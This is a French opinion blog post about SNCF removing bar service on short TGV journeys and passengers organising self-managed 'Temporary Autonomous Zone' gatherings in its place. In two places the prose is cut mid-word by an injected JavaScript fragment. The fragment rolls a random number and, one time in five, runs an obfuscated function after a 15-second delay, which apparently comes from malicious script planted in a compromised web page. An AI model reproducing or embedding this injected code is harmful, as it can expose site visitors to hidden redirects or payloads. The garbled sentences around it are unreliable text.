Le Temps des Pirates et des TAZ est venu

La SNCF a longtemps financé à perte le service de bar dans les TGV, avant d’en confier la gestion à des sociétés partenaires. Celles-ci ont connu des fortunes diverses dans ces services, au point que de nombreuses interruptions de services ont émaillé les relations entre elles et leur donneur d’ordres pour causes de grèves.
Récemment, la SNCF a résolu de supprimer ce service sur les liaisons courtes, c’est à dire inférieure à 2h, ce qui reste long pour qui rêve de se restaurer ou de converser en toute convivialité en partageant un verre.
Ce faisant, l’opérateur ferroviaire a accepté de réduire le niveau de service rendu à une partie non négligeable de sa clientèle, alors même que le TGV est sans cesse présenté comme le nec plus ultra du transport ferré rapide et confortable. Il faut admettre que certains trajets s’apparentent davantage désormais à ces voyages en RER qui ne font rêver personne.
Il est cocasse de constater que pour un même train composé de 2 rames, il est fréquent que celle de tête n’offre pas de bar, alors que celle de queue le fait, parce que venant de plus loin.
C’est à dire que pour un même trajet, payé le même prix, un voyageur pourra bénéficier d’un service réduit ou complet.
On aurait pu penser que l’offre pilotant la demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande dans un marché réglementé et encore monopolistique, les voyageurs se rangeraient sagement à cette décision, pour injuste qu’elle puisse être ressentie. Ce serait sans compter sur la capacité du Client à faire front désormais et à organiser cette TAZ (pour Temporary Autonomous Zone, Zone Temporaire d’Autonomie), telle que Akim Bey les définit en s’inspirant de la culture des Pirates du XVIII° siècle. Là où les mailles du filet étatique, multinational, universel, se relâche ou tarde à s’établir, les pirates occupent l’espace et le temps. L’avènement de l’Internet a mis au jour des espaces de liberté, le web, ou le non-web, proche d’un espace anarchique et libertaire.
Encore peu théorisé dans son application à l’univers entrepreneurial, cette théorie des pirates commence à voir naître des expérimentations, y compris aux États-Unis, ce qui n’est pas le moins étonnant.
Pour revenir à nos bars abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonnés, le web a joué son rôle et permis aux usagers de créer des moments de convivialité spontanés autogérés, et même souvent festifs, avec apéritifs, repas, animation musicale.
Ces TAZ pour être efficaces, doivent néanmoins durer et pour cela, le respect de l’espace occupé, sa remise en état impeccable, la réduction des plaintes pour le transporteur sont autant de gardes-fous et de facteurs d’un succès durable.
Le plus plaisant dans l’histoire, outre la démonstration de l’appropriation par le client de la marque et de sa capacité à exploiter les failles du Système, c’est la fréquentation très supérieure de ces espaces « piratés » comparée à celle des moments officiels.Longue vie aux TAZ et à l’initiative du consommateur pour donner du sens aux marques qu’il utilise !
Emmanuel Mignot, Teletech International